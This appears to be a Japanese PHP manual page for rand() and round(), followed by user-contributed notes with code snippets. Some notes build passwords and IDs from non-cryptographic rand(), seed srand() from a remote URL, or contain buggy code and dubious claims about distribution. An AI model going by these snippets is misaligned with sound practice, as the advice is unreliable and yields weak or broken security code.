上の例の出力は、 たとえば以下のようになります。

7771
22264
11

注意

警告

min から max までの幅を mt_getrandmax() の範囲内におさめる必要があります。 つまり、(max - min) <= mt_getrandmax() でなければいけないということです。この範囲をこえてしまうと、 rand() が返す値のランダム性が、 低品質になってしまいます。

参考

  • srand() - 乱数生成器を初期化する
  • getrandmax() - 乱数の最大値を取得する
  • mt_rand() - メルセンヌ・ツイスター乱数生成器を介して乱数値を生成する
  • random_int() - 暗号論的に安全な疑似乱数を生成する
  • random_bytes() - 暗号論的に安全な、疑似ランダムなバイト列を生成する
  • openssl_random_pseudo_bytes() - 疑似ランダムなバイト文字列を生成する

User Contributed Notes

mparsa1372 at gmail dot com 10-Mar-2021 01:48
Change Background Color With Rand() And Style :

<?php

        $r = rand(0,255);
        $g = rand(0,255);
        $b = rand(0,255);
         echo  '<body style="background-color:' . "rgb($r, $g, $b)" . '">';

?>
abdufarag at yahoo dot com 06-Feb-2021 10:22
I have made this example to generate random number with specific length (10).

<?php
//~ srand(9);x
function gen(){
$len = 10 ;
$x = '';
    for ($i = 0 ; $i < $len ; $i ++)
    {
        $x .= intval(rand(0,9));
    }
return $x;
}

for ($i = 0 ; $i < 100 ; $i++){
$x = gen();
echo $x,PHP_EOL;

}
?>
Anonymous 05-Oct-2020 11:07
Note that the algorithm change in version 7.1.0 broke the repeatability of a random sequence initialized with a given value. For example if you have a program like:

<?php
srand($argv[1]);
for ($i = 0; $i < 10; $i++) {
    echo rand().PHP_EOL;
}
?>

It will will no longer produce the same results after version 7.1.0. This can be very important for some kinds of simulations. Hopefully you were using mt_rand() or something better all along, otherwise you will have some digging to do if you want your program to be able to repeat simulations from the pre-7.1.0 days... You will need to look in the PHP source archives to discover the algorithm they used to use and replicate it in your program.
razvan_bc at yahoo dot com 20-Oct-2018 02:30
well ,

this is my vision about "custom random string" :

<?php

function s($length){
  for($i=0;($i<$length)and(($what=rand(1,3))and( (($what==1)and($t=rand(48,57) ))or (($what==2)and ($t=rand(65,90))) or (($what==3)and ($t=rand(97,122)))  ) and  (print chr($t)));$i++);
}
s(10);

?>
moonwalker509 at gmail dot com 16-Aug-2017 10:49
I wrote this many years back and just found it. thought I share. what it does is generate either random numbers 0-9, Alphabets A-Z or Alphanumeric which is a combination of numbers and alphabets. I turned it into a class before sharing. do with it what you please. Solved some of my problems.

<?php
class Random{
  public static function Numeric($length)
      {
          $chars = "1234567890";
          $clen   = strlen( $chars )-1;
          $id  = '';

          for ($i = 0; $i < $length; $i++) {
                  $id .= $chars[mt_rand(0,$clen)];
          }
          return ($id);
      }

  public static function Alphabets($length)
      {
          $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
          $clen   = strlen( $chars )-1;
          $id  = '';

          for ($i = 0; $i < $length; $i++) {
                  $id .= $chars[mt_rand(0,$clen)];
          }
          return ($id);
      }

  public static function AlphaNumeric($length)
      {
          $chars = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
          $clen   = strlen( $chars )-1;
          $id  = '';

          for ($i = 0; $i < $length; $i++) {
                  $id .= $chars[mt_rand(0,$clen)];
          }
          return ($id);
      }
}

  echo Random::Numeric(6); # eg result: "567268"
  echo Random::Alphabets(9); # eg result: IAGRmZyJS
  echo Random::AlphaNumeric(10); #eg result: Gzt6syUS8M

?>
pasafama at gmail dot com 10-Mar-2017 02:15
From PHP 7.1 rand() is documented as an alias of mt_rand().

Actually, if they are called with two arguments where the second is smaller than the first, their output differs.

For example

var_dump(rand(2,1), mt_rand(2,1));

may return

Warning: mt_rand(): max(1) is smaller than min(2)
int(2)
bool(false)

where rand() will return a random value between $max and $min
Wirek 16-Apr-2015 11:51
I agree with Sebmil (http://php.net/manual/en/function.array-rand.php#105265) that "array_rand()" produces weird and very uneven random distribution (as of my local PHP 5.3.8 and my public host's PHP 5.2.17).
Unfortunately, I haven't got any access either to a server with the latest PHP version. My info is for those of you who like to check things for themselves and who don't believe all of the official statements in the docs.
I've made a simple adjustment of his test code like this:
<?php
$s=1;    // Start value
$c=50;    // Count / End value
$test=array_fill($s, $c, 0);
$ts=microtime(true);
for($i=0; $i<5000000; $i++){
    $idx=mt_rand($s, $c);    // Try it with rand() - simpler but more evenly distributed than mt_rand()
    $test[$idx]++;
}
$te=microtime(true);
$te=($te-$ts)*1000.0;    // Loop time in miliseconds

asort($test);
echo "Test mt_rand() in ".$te." ms: <br/>\n";
foreach($test as $k=>$v) echo "$k :\t$v <br/>\n";
?>

And it appears to me that simple "$idx=rand(0, count($test)-1);" is much better than "$idx=array_rand($test, 1);".
And what's more the simpler and a bit slower (0 ms up to total 712.357 ms at 5 mln cycles) "rand()" is better than "mt_rand()" in simple everyday use cases because it is more evenly distributed (difference least vs. most often numbers: ca. 0.20-1.28 % for "rand()" vs. ca. 1.43-1.68 % for "mt_rand()").
Try it for yourself... although it depends on your software and hardware configuration, range of numbers to choose from (due to random patterns), number of cycles in the loop, and temporary (public) server load as well.
simon at labs dot coop 05-Oct-2013 07:41
Something we discovered in Sydney running BBS Systems before the net advent was here, if we didn't seed of another BBS we would going in circles in our System Physicality Abstraction Layers.. The important thing is to seed from a remote system and easy way at the Centroidal Plexus of the web (Chronolabs Cooperative) we offer a seed feed and the following code will randomise you out of the number cycle:

See in PHP both the letters and numbers are seedable as letters are treated as numbers as well. You can always use individual tokens by extracting the Element with DOM.. But below is equally effective!

<?php

srand(file_get_contents('http://seed.feeds.labs.coop'));

?>
matheus at matheusloureiro dot com 01-Feb-2013 05:40
If you are looking for generate a random expression, like password with alphanumeric or any other character, use this function:

<?php
function GeraHash($qtd){
//Under the string $Caracteres you write all the characters you want to be used to randomly generate the code.
$Caracteres = 'ABCDEFGHIJKLMOPQRSTUVXWYZ0123456789';
$QuantidadeCaracteres = strlen($Caracteres);
$QuantidadeCaracteres--;

$Hash=NULL;
    for($x=1;$x<=$qtd;$x++){
        $Posicao = rand(0,$QuantidadeCaracteres);
        $Hash .= substr($Caracteres,$Posicao,1);
    }

return $Hash;
}

//Here you specify how many characters the returning string must have
echo GeraHash(30);
?>
Hayley Watson 29-Jan-2013 10:51
The Windows rand() function is quite a lot worse than merely having a low maximum value. It's an ordinary Linear Congruential Generator, which means you only need three consecutive values to be able to predict its entire future output.

Given the numbers 13050,  4267,  25352, construct the equations
4267 = (13050a+c) % 32768
25352 = (4267a+c) % 32768

Solving for a and c gives

a = 20077
c = 12345

Which means the next number that should be spat out is (25352×20077+12345) % 32768 = 19105 -- which indeed it is.

It's not the small rand_max that breaks the algorithm, it's a weakness in the  LCG algorithm itself. It's designed for when you only want a few kinda-random numbers occasionally, not if you want to generate any random-looking data.
thibault dot debatty at gmail dot com 24-Jul-2012 09:01
In Suhosin version 0.9.26 (released 2008.08.22) and above:
- rand() and srand() are transparently modified to use the Mersenne Twister algorithm with separate state
- rand() and mt_rand() have better internal seeding
- srand() and mt_srand() are ignored (can be configured)
Justin Richer 28-Mar-2012 01:43
Since many people (myself included) come to this page looking for a way to do a random string, I present a way that uses arrays and shuffle() instead of rand(). This also has the effect of not repeating any characters in the value set.

    $arr = str_split('ABCDEFGHIJKLMNOP'); // get all the characters into an array
    shuffle($arr); // randomize the array
    $arr = array_slice($arr, 0, 6); // get the first six (random) characters out
    $str = implode('', $arr); // smush them back into a string
matthias dot isler at gmail dot com 28-Feb-2012 03:44
I had to create a function that generates a random binominal distributed integer. Take a look at the following Wiki article:

http://en.wikipedia.org/wiki/Binomial_distribution

Here is my solution:

<?php

function bin_rand($min = null, $max = null)
{
    $min = ($min) ? (int) $min : 0;
    $max = ($max) ? (int) $max : PHP_INT_MAX;

    $range = range($min, $max);
    $average = array_sum($range) / count($range);

    $dist = array();
    for ($x = $min; $x <= $max; $x++) {
        $dist[$x] = -abs($average - $x) + $average + 1;
    }

    $map = array();
    foreach ($dist as $int => $quantity) {
        for ($x = 0; $x < $quantity; $x++) {
            $map[] = $int;
        }
    }

    shuffle($map);
    return current($map);
}

?>
Zak 01-Oct-2011 08:34
I couldn't find a suitable random alpha-numeric generator function so I rolled my own. It gives a random number in base 36 (0-9, a-z) to a given length.

<?php
function randomAlphaNum($length){

    $rangeMin = pow(36, $length-1); //smallest number to give length digits in base 36
    $rangeMax = pow(36, $length)-1; //largest number to give length digits in base 36
    $base10Rand = mt_rand($rangeMin, $rangeMax); //get the random number
    $newRand = base_convert($base10Rand, 10, 36); //convert it

    return $newRand; //spit it out

}
?>

hopefully helps someone
shiawase at gmail dot com 02-Aug-2011 07:32
Another one-liner to generate strings:
<?php
substr(str_shuffle(str_repeat('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789',5)),0,5);
?>
The strings can be repeated to have the possibility that a character appears multiple times.
Alex Khimch alex at khim dot removeit dot ich dot org 19-Mar-2011 01:41
Random is NOT actually random.

It is easily illustrated by multiplying rand(1,500) by rand(1,500) and showing the output on the image:

<?php
header("Content-type: image/png");
$img = imagecreatetruecolor(500,500);

$ink = imagecolorallocate($img,255,255,255);

for($i=0;$i<500;$i++) {
  for($j=0;$j<500;$j++) {
  imagesetpixel($img, rand(1,500), rand(1,500), $ink1);
  }
}

imagepng($img);
imagedestroy($img);

?>

I expected to get pixel noise, but instead one can see plain diagonal lines.
szeryf.wordpress.com 24-Feb-2011 11:26
Much easier way to generate random string of numbers and letters:

<?php
$n = rand(10e16, 10e20);
echo base_convert($n, 10, 36);
?>

This generates strings of about 11 characters. Experiment with the range for rand() if you want shorter or longer.
Alireza Eliaderani 10-Sep-2010 02:18
Random integers with normal distribution,
it's not scientifically approved, but worked for me.

<?php
/*
* @param float  $mean, desired average
* @param number $sd, number of items in array
* @param number $min, minimum desired random number
* @param number $max, maximum desired random number
* @return array
*/
function array_distribute($mean,$sd,$min,$max){
    $result = array();
    $total_mean = intval($mean*$sd);
    while($sd>1){
        $allowed_max = $total_mean - $sd - $min;
        $allowed_min = intval($total_mean/$sd);
        $random = mt_rand(max($min,$allowed_min),min($max,$allowed_max));
        $result[]=$random;
        $sd--;
        $total_mean-=$random;
    }
    $result[] = $total_mean;
    return $result;
}
?>
liveonaware [at] gmail [dot] com 31-May-2010 08:16
<?php
//To Pull 7 Unique Random Values Out Of AlphaNumeric

//removed number 0, capital o, number 1 and small L
//Total: keys = 32, elements = 33
$characters = array(
"A","B","C","D","E","F","G","H","J","K","L","M",
"N","P","Q","R","S","T","U","V","W","X","Y","Z",
"1","2","3","4","5","6","7","8","9");

//make an "empty container" or array for our keys
$keys = array();

//first count of $keys is empty so "1", remaining count is 1-6 = total 7 times
while(count($keys) < 7) {
    //"0" because we use this to FIND ARRAY KEYS which has a 0 value
    //"-1" because were only concerned of number of keys which is 32 not 33
    //count($characters) = 33
    $x = mt_rand(0, count($characters)-1);
    if(!in_array($x, $keys)) {
       $keys[] = $x;
    }
}

foreach($keys as $key){
   $random_chars .= $characters[$key];
}
echo $random_chars;
?>
Anonymous 05-Mar-2010 06:41
Generate a random 5 character A-Z0-9  string

<?php
for ($i=0; $i<6; $i++) {
    $d=rand(1,30)%2;
    echo $d ? chr(rand(65,90)) : chr(rand(48,57));
}
?>

# php -r 'for ($i=0; $i<6; $i++) { $d=rand(1,30)%2; echo $d ? chr(rand(65,90)) : chr(rand(48,57)); } echo "\n";'
14BW1A
John Galt 02-Jan-2010 11:24
Another way to create an array of random numbers where there are no identical numbers.

($n = number of random numbers to return in the array
$min = minimum number
$max = maximum number)

<?php
 function uniqueRand($n, $min = 0, $max = null)
 {
  if($max === null)
   $max = getrandmax();
  $array = range($min, $max);
  $return = array();
  $keys = array_rand($array, $n);
  foreach($keys as $key)
   $return[] = $array[$key];
  return $return;
 }
?>
Hugo Scott hrmscott at hotmail dot com 29-Jul-2009 07:52
Here's a simple function to generate a random date between a start date and an end date.

It is inclusive of BOTH dates - so using dates 2009-04-01 and 2009-04-03 would generate a random date that could be 2009-04-01, 2009-04-02 or 2009-04-03.

It won't work if the end date is prior to the start date and if you use a non-existant date (eg 2009-02-30) it defaults to 1970-01-01

the longer version:
<?php
function makeRandomDateInclusive($startDate,$endDate){
    $days = round((strtotime($endDate) - strtotime($startDate)) / (60 * 60 * 24));
    $n = rand(0,$days);
    return date("Y-m-d",strtotime("$startDate + $n days"));
}
?>

and the one-line version for compactness freaks:
<?php
function makeRandomDateInclusive($startDate,$endDate){
    return date("Y-m-d",strtotime("$startDate + ".rand(0,round((strtotime($endDate) - strtotime($startDate)) / (60 * 60 * 24)))." days"));
}
?>

it is called like this
<?php
echo makeRandomDateInclusive('2009-04-01','2009-04-03');
?>
Hope this is of some use to someone
Greg R. 15-Jun-2009 04:49
I thought this function (random color) might be of use to someone [to create and return a random hex for HTML colors]:

<?php
function get_random_color()
{
    for ($i = 0; $i<6; $i++)
    {
        $c .=  dechex(rand(0,15));
    }
    return "#$c";
}
?>
david [at] ddrewdesign [dot] com 26-May-2009 06:21
To Jano and Peta:

Thanks for the code. In real world usage, I only had one problem with it: It will never return the first result of the array (or it will return nothing if there's only one item in the array). To remedy this, I simply subtracted 1 from

<?php
$rand = rand(1,$max);
?>

like so:

<?php
$rand = rand(1,$max)-1;
?>

Thanks though, for the code you supplied. It was exactly what I needed.
kyle dot florence [@t] gmail dot com 08-May-2009 03:23
Improved random string generation function:

<?php
// Generate a random character string
function rand_str($length = 32, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890')
{
    // Length of character list
    $chars_length = (strlen($chars) - 1);

    // Start our string
    $string = $chars{rand(0, $chars_length)};

    // Generate random string
    for ($i = 1; $i < $length; $i = strlen($string))
    {
        // Grab a random character from our list
        $r = $chars{rand(0, $chars_length)};

        // Make sure the same two characters don't appear next to each other
        if ($r != $string{$i - 1}) $string .=  $r;
    }

    // Return the string
    return $string;
}
?>
admin at djs-music dot com 25-Apr-2009 10:13
A nice function to generate a random string, using any character:

<?php
function generateRandStr($length){
      $randstr = "";
      for($i=0; $i<$length; $i++){
         $randnum = mt_rand(0,61);
         if($randnum < 10){
            $randstr .= chr($randnum+48);
         }else if($randnum < 36){
            $randstr .= chr($randnum+55);
         }else{
            $randstr .= chr($randnum+61);
         }
      }
      return $randstr;
   }
?>

Simply use:
generateRandStr(10);

Sample output: $%29zon(4f
petabyte.se 15-Mar-2009 08:56
As an further optimization on janoserki[at]gmail[dot]com previous post i would recommend that you optimize you first part of php/sql code to something like this.

<?php
// estimate the number of rows in a table
$lekerdezes = mysql_query("select count(*) as rows from table");
while ($row = mysql_fetch_assoc($lekerdezes))
{
    $max = $row["rows"];
}
?>
the count(*) is much faster for the database than grabbing the hole dataset from the table.
janoserki [at] gmail [dot] com 04-Mar-2009 12:16
Easy way for mysql: random row
the original form is: "... order by rand()"
but this is not the best way, because it's very slow by a big database (it can take more minutes to complete the request!)
My suggestion:

<?php
// estimate the number of rows in a table
$lekerdezes = mysql_query("select * from table");
$max = mysql_num_rows($lekerdezes);

// pick one
$rand = rand(1,$max);

$lekerdezes2 = mysql_query("select * from table limit $rand, 1");

// that's all folks :)

?>
whatchildisthis at gmail dot com 06-Dec-2008 04:00
I also enjoy making one-liners.

Here's a non-regular expression approach. It generates a random 32 character string consisting of, by default, only A-Z, a-z, and 0-9, but you can change the value of $a for other characters. The random string will be in variable $s after this line.

<?php
for ($s = '', $i = 0, $z = strlen($a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789')-1; $i != 32; $x = rand(0,$z), $s .= $a{$x}, $i++);
?>

If you don't want the same character to appear beside itself, use this:

<?php
for ($i = 0, $z = strlen($a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890')-1, $s = $a{rand(0,$z)}, $i = 1; $i != 32; $x = rand(0,$z), $s .= $a{$x}, $s = ($s{$i} == $s{$i-1} ? substr($s,0,-1) : $s), $i=strlen($s));
?>

For those of you who want both as a function, use this:

<?php
function rand_chars($c, $l, $u = FALSE) {
 if (!$u) for ($s = '', $i = 0, $z = strlen($c)-1; $i < $l; $x = rand(0,$z), $s .= $c{$x}, $i++);
 else for ($i = 0, $z = strlen($c)-1, $s = $c{rand(0,$z)}, $i = 1; $i != $l; $x = rand(0,$z), $s .= $c{$x}, $s = ($s{$i} == $s{$i-1} ? substr($s,0,-1) : $s), $i=strlen($s));
 return $s;
}
?>

string $c is the string of characters to use.
integer $l is how long you want the string to be.
boolean $u is whether or not a character can appear beside itself.

Examples:
rand_chars("ABCEDFG", 10) == GABGFFGCDA
rand_chars("ABCEDFG", 10, TRUE) == CBGFAEDFEC
opbarnes 20-Oct-2008 12:33
Generate a random 5 character alpha string:

<?php
print preg_replace('/([ ])/e', 'chr(rand(97,122))', '     ');
?>
Anonymous 30-Jul-2008 04:29
quick way to generate randomish numbers and simple strings.
no messing around with functions, so you can just pop the line into the middle of your existing code.

not the most perfect for sure, but ok for plenty of situations...

<?php

$random_number = intval( "0" . rand(1,9) . rand(0,9) . rand(0,9) . rand(0,9) . rand(0,9) ); // random(ish) 5 digit int

$random_string = chr(rand(65,90)) . chr(rand(65,90)) . chr(rand(65,90)) . chr(rand(65,90)) . chr(rand(65,90)); // random(ish) 5 character string

?>

hope someone finds it useful for somthing.

regards,
deeeeeen alxndr0u
davidsteinsland [at] gmail [dot] com 26-Apr-2008 12:27
emad_ramahi at hotmail dot com:
I've actually noticed that with a large dataset (100k rows), the query dramatically slows down the server and performance is way too bad.

The way I see it, you have to workable solutions:

Using PHP:

<?php
//$Table holds the name of the table we're getting the random row from
//$Rows specifies how many rows we need to fetch
function mysql_rand ($Query, $Rows = 1) {
    //getting the table name from $query
    //what you can do, is replace the $query argument with $table,
    //this way to dont have to search for the table's name
    $SQL = sprintf ('SELECT COUNT(*) FROM %s', substr ($query, stripos ($query, 'from')+5, strpos ($query, ' ')));

    $Max = mysql_result (mysql_query ($SQL), 0);
    $Random = rand (0, $Max);

    //If the random number is 99, and the database only has 100 rows
    //We'll subtract the random number, so we don't exceed 100, thus preventing a MySQL error message
    return $Query . sprintf ('LIMIT %d, %d', ($Max < $Rows) ? 0 : (($Random > $Max - $Rows) ? $Max - $Rows : $Random), $Rows);
}

//Instead of using MySQL's RAND(), we use LIMIT to fetch rows
//E.g. LIMIT 5,9 fetches from row 5, and the subsequent 9
$SQL = mysql_rand ('SELECT row FROM table'); //SELECT row FROM table LIMIT x, y
?>

or SQL:
SELECT * FROM Table T JOIN (SELECT FLOOR(MAX(ID)*RAND()) AS ID FROM Table) AS x ON T.ID >= x.ID LIMIT 1;
Ishtar 10-Sep-2007 06:18
A small comment on phpdev-dunnbypauls conclusion that rand() only generates numbers that are a multiply of 3.
<?php
$n = rand(0,100000); // with MAX_RAND=32768
?>
Since, 100000/32768=3.05 you get multiples of 3. The random integer will be multiplied by 3.05 to fit between 0 and 100000. rand() works fine, if you don't ask for bigger numbers then RAND_MAX.
bozo_z_clown at yahoo dot com 23-May-2007 05:36
Note that the automatic seeding seems to be done with the current number of seconds which means you can get the same results for several runs on a fast server.  Either call srand() yourself with a more frequently changing seed or use mt_rand() which doesn't appear to suffer from the problem.
jont at live dot co dot uk 05-Apr-2007 03:42
isn't this just a simpler way of making a random id for somthing? I mean i know that there is a very slight chance that a duplicate could be made but its a very, very, very small chance, nearly impossible.

$rand = mt_rand(0, 32);
$code = md5($rand . time());
echo "$code";

and if you don't want it the md5 can be removed, I've just added it as a prefer it there :)

Jon
phpdev at dunnbypaul dot net 07-Mar-2007 08:51
Here's an interesting note about the inferiority of the rand() function. Try, for example, the following code...

<?php
$r = array(0,0,0,0,0,0,0,0,0,0,0);
for ($i=0;$i<1000000;$i++) {
  $n = rand(0,100000);
  if ($n<=10) {
    $r[$n]++;
  }
}
print_r($r);
?>

which produces something similar to the following output (on my windows box, where RAND_MAX is 32768):

Array
(
    [0] => 31
    [1] => 0
    [2] => 0
    [3] => 31
    [4] => 0
    [5] => 0
    [6] => 30
    [7] => 0
    [8] => 0
    [9] => 31
    [10] => 0
)

Within this range only multiples of 3 are being selected. Also note that values that are filled are always 30 or 31 (no other values! really!)

Now replace rand() with mt_rand() and see the difference...

Array
(
    [0] => 8
    [1] => 8
    [2] => 14
    [3] => 16
    [4] => 9
    [5] => 11
    [6] => 8
    [7] => 9
    [8] => 7
    [9] => 7
    [10] => 9
)

Much more randomly distributed!

Conclusion: mt_rand() is not just faster, it is a far superior algorithm.
ludicruz at yahoo dot com 27-Sep-2006 05:42
frank, nick at nerdynick dot com, and kniht
this is now O(n) instead of O(n^2) ish...

<?php
function rand_permute($size, $min, $max)
{
    $retval = array();
    //initialize an array of integers from $min to $max
    for($i = $min;$i <= $max;$i++)
    {
        $retval[$i] = $i;
    }
    //start with the the first index ($min).
    //randomly swap this number with any other number in the array.
    //this way we guarantee all numbers are permuted in the array,
    //and we assure no number is used more than once (technically reiterating prev line).
    //therefore we don't have to do the random checking each time we put something into the array.
    for($i=$min; $i < $size; $i++)
    {
        $tmp = $retval[$i];
        $retval[$i] = $retval[$tmpkey = rand($min, $max)];
        $retval[$tmpkey] = $tmp;
    }
    return array_slice($retval, 0, $size);
}
?>
smaaps at kaldamar dot de 06-Jun-2005 10:44
Lately I needed some random numbers with a gaussian (normal) distribution, not evenly distributed as the numbers generated by rand(). After googling a while, I found out that there is no perfect algrorithm that creates such numbers out of evenly distruted random numbers but a few methods that have similar effect. The following function implements all three algorithms I found- The the last two methods create numbers where you can find a lower and upper boundary and the first one will create a number from time to time (such as one in every 10000) that may be very far from the average value. Have fun testing and using it.

<?php
function gauss($algorithm = "polar") {
    $randmax = 9999;

    switch($algorithm) {

        //polar-methode by marsaglia
        case "polar":
            $v = 2;
            while ($v > 1) {
                $u1 = rand(0, $randmax) / $randmax;
                $u2 = rand(0, $randmax) / $randmax;

                $v = (2 * $u1 - 1) * (2 * $u1 - 1) + (2 * $u2 - 1) * (2 * $u2 - 1);
            }

            return (2* $u1 - 1) * (( -2 * log($v) / $v) ^ 0.5);

        // box-muller-method
        case "boxmuller":
            do {
                $u1 = rand(0, $randmax) / $randmax;
                $u2 = rand(0, $randmax) / $randmax;

                $x = sqrt(-2 * log($u1)) * cos(2 * pi() * $u2);
            } while (strval($x) == "1.#INF" or strval($x) == "-1.#INF");

            // the check has to be done cause sometimes (1:10000)
            // values such as "1.#INF" occur and i dont know why

            return $x;

        // twelve random numbers
        case "zwoelfer":
            $sum = 0;
            for ($i = 0; $i < 12; $i++) {
                $sum += rand(0, $randmax) / $randmax;
            }
            return $sum;
     }
}
?>
relsqui at armory dot com 21-Jan-2005 02:23
Don't forget, it's faster to use bitwise operations when you need a random number that's less than some power of two. For example,

<?php
rand()&1;
// instead of
rand(0,1);
// for generating 0 or 1,

rand()&3;
// instead of
rand(0,3);
// for generating 0, 1, 2, or 3,

rand()&7;
// instead of
rand(0,7)
// for generating 0, 1, 2, 3, 4, 5, 6, or 7,
?>

and so on. All you're doing there is generating a default random number (so PHP doesn't have to parse any arguments) and chopping off the piece that's useful to you (using a bitwise operation which is faster than even basic math).


浮動小数点数を丸める

  • ≪ rand
  • sin ≫
  • PHP Manual
  • Math 関数
  • 浮動小数点数を丸める

round

(PHP 4, PHP 5, PHP 7, PHP 8)

round — 浮動小数点数を丸める

説明

round ( float $val , int $precision = 0 , int $mode = PHP_ROUND_HALF_UP ) : float

val を、指定した precision(小数点以下の桁数)に丸めた値を 返します。precision を負またはゼロ(デフォルト) とすることも可能です。

パラメータ

val

丸める値。

precision

オプションで指定する、丸める桁数。

precision が正の値の場合、 val は 小数点以下、有効桁数 precision 桁に丸められます。

precision が負の場合、 val の 丸め処理は小数点より前の precision 桁に対して行われます。 つまり、一番近い pow(10, -precision) の倍数に丸められます。 たとえば、precision が -1 の場合、 val は 一番近い10の倍数に、 precision が -2 の場合は 一番近い100の倍数に丸められる、という具合です。

mode

次の定数のいずれかを使って、丸めのモードを指定します。

定数 | 説明
PHP_ROUND_HALF_UP | 端数が5(半分)の場合、 val をゼロから離れる方向に丸めます。 1.5 は 2 に、そして -1.5 は -2 になります。
PHP_ROUND_HALF_DOWN | 端数が5(半分)の場合、 val をゼロに近づく方向に丸めます。 1.5 は 1 に、そして -1.5 は -1 になります。
PHP_ROUND_HALF_EVEN | 端数が5(半分)の場合、 val をもっとも近い偶数に丸めます。 1.5 や 2.5 は 2 になります。
PHP_ROUND_HALF_ODD | 端数が5(半分)の場合、 val をもっとも近い奇数に丸めます。 1.5 は 1 に、そして 2.5 は 3 になります。

返り値

precision で与えられた精度に丸められた値を float で返します。

例

例1 round() の例

<?php
var_dump(round(3.4));
var_dump(round(3.5));
var_dump(round(3.6));
var_dump(round(3.6, 0));
var_dump(round(5.045, 2));
var_dump(round(5.055, 2));
var_dump(round(345, -2));
var_dump(round(345, -3));
var_dump(round(678, -2));
var_dump(round(678, -3));
?>

上の例の出力は以下となります。

float(3)
float(4)
float(4)
float(4)
float(5.05)
float(5.06)
float(300)
float(0)
float(700)
float(1000)

例2 precision が、どうfloatの値に影響するか

<?php
$number = 135.79;

var_dump(round($number, 3));
var_dump(round($number, 2));
var_dump(round($number, 1));
var_dump(round($number, 0));
var_dump(round($number, -1));
var_dump(round($number, -2));
var_dump(round($number, -3));
?>

上の例の出力は以下となります。

float(135.79)
float(135.79)
float(135.8)
float(136)
float(140)
float(100)
float(0)

例3 mode の例

<?php
echo 'Rounding modes with 9.5' . PHP_EOL;
var_dump(round(9.5, 0, PHP_ROUND_HALF_UP));
var_dump(round(9.5, 0, PHP_ROUND_HALF_DOWN));
var_dump(round(9.5, 0, PHP_ROUND_HALF_EVEN));
var_dump(round(9.5, 0, PHP_ROUND_HALF_ODD));

echo PHP_EOL;
echo 'Rounding modes with 8.5' . PHP_EOL;
var_dump(round(8.5, 0, PHP_ROUND_HALF_UP));
var_dump(round(8.5, 0, PHP_ROUND_HALF_DOWN));
var_dump(round(8.5, 0, PHP_ROUND_HALF_EVEN));
var_dump(round(8.5, 0, PHP_ROUND_HALF_ODD));
?>

上の例の出力は以下となります。

Rounding modes with 9.5
float(10)
float(9)
float(10)
float(9)

Rounding modes with 8.5
float(9)
float(8)
float(8)
float(9)

例4 桁数を指定した mode の例

<?php
echo 'Using PHP_ROUND_HALF_UP with 1 decimal digit precision' . PHP_EOL;
var_dump(round( 1.55, 1, PHP_ROUND_HALF_UP));
var_dump(round(-1.55, 1, PHP_ROUND_HALF_UP));

echo PHP_EOL;
echo 'Using PHP_ROUND_HALF_DOWN with 1 decimal digit precision' . PHP_EOL;
var_dump(round( 1.55, 1, PHP_ROUND_HALF_DOWN));
var_dump(round(-1.55, 1, PHP_ROUND_HALF_DOWN));

echo PHP_EOL;
echo 'Using PHP_ROUND_HALF_EVEN with 1 decimal digit precision' . PHP_EOL;
var_dump(round( 1.55, 1, PHP_ROUND_HALF_EVEN));
var_dump(round(-1.55, 1, PHP_ROUND_HALF_EVEN));

echo PHP_EOL;
echo 'Using PHP_ROUND_HALF_ODD with 1 decimal digit precision' . PHP_EOL;
var_dump(round( 1.55, 1, PHP_ROUND_HALF_ODD));
var_dump(round(-1.55, 1, PHP_ROUND_HALF_ODD));
?>

上の例の出力は以下となります。

Using PHP_ROUND_HALF_UP with 1 decimal digit precision
float(1.6)
float(-1.6)

Using PHP_ROUND_HALF_DOWN with 1 decimal digit precision
float(1.5)
float(-1.5)

Using PHP_ROUND_HALF_EVEN with 1 decimal digit precision
float(1.6)
float(-1.6)

Using PHP_ROUND_HALF_ODD with 1 decimal digit precision
float(1.5)
float(-1.5)

参考

  • ceil() - 端数の切り上げ
  • floor() - 端数の切り捨て
  • number_format() - 数字を千の位毎にグループ化してフォーマットする

User Contributed Notes

Astro 27-Feb-2020 08:32
Okay, final version of my function:

function NumberPrecision($n, $precision=0, $is_round=true)
            {
            if ($is_round)
                {
                $r = 5 * pow(10, -($precision+1));
                $n += (($n < 0) ? -$r : $r);
                }

            $comma = '.';

            $r = 5 * pow(10, -($precision+2));
            $n += (($n > 0) ? -$r : $r);
            $n = number_format($n, $precision+1, $comma, '');

            $n .= $comma;
            list($n, $frac) = explode($comma, $n, 2);
            $n = rtrim(rtrim($n, $comma) . $comma . substr($frac, 0, $precision), $comma);
            return ($n);
            }

It can be useful in come cases when built-in function like round() or number_format() returns unexpected results. Works with positive and negative numbers, zero, numbers like 1/12, 0.3, numbers in scientific notation etc.
Hayley Watson 05-Sep-2019 12:17
It should just be noted that what is called "precision" on this page is more correctly called accuracy; precision is the total number of significant digits on both sides of the decimal point, while accuracy is the number of digits to the right of the point. It's a common confusion.
goreyshi at gmail dot com 10-Jul-2018 09:34
When you have a deal with money like dollars, you need to display it under this condition:
-format all number with two digit decimal for cents.
-divide 1000 by ,
-round half down for number with more than two decimal

I approach it using round function inside the number_format function:

number_format((float)round( 625.371 ,2, PHP_ROUND_HALF_DOWN),2,'.',',')  // 625.37
number_format((float)round( 625.379 ,2, PHP_ROUND_HALF_DOWN),2,'.',',')  // 625.38
number_format((float)round( 1211.20 ,2, PHP_ROUND_HALF_DOWN),2,'.',',')  // 1,211.20
number_format((float)round( 625 ,2, PHP_ROUND_HALF_DOWN),2,'.',',')      // 625.00
Mojo urk 26-Jan-2018 07:28
Solving round_down() problem:
-----------------------------
Use of <?php floor(pow(10, $precision) * $value) / pow(10, $precision); ?> fails in some cases, e.g. round_down(2.05, 2) gives incorrect 2.04.
Here is a "string" solution (https://stackoverflow.com/a/26491492/1245149) of the problem (a negative precision is not covered):

<?php
function round_down($value, $precision) {
    $value = (float)$value;
    $precision = (int)$precision;
    if ($precision < 0) {
        $precision = 0;
    }
    $decPointPosition = strpos($value, '.');
    if ($decPointPosition === false) {
        return $value;
    }
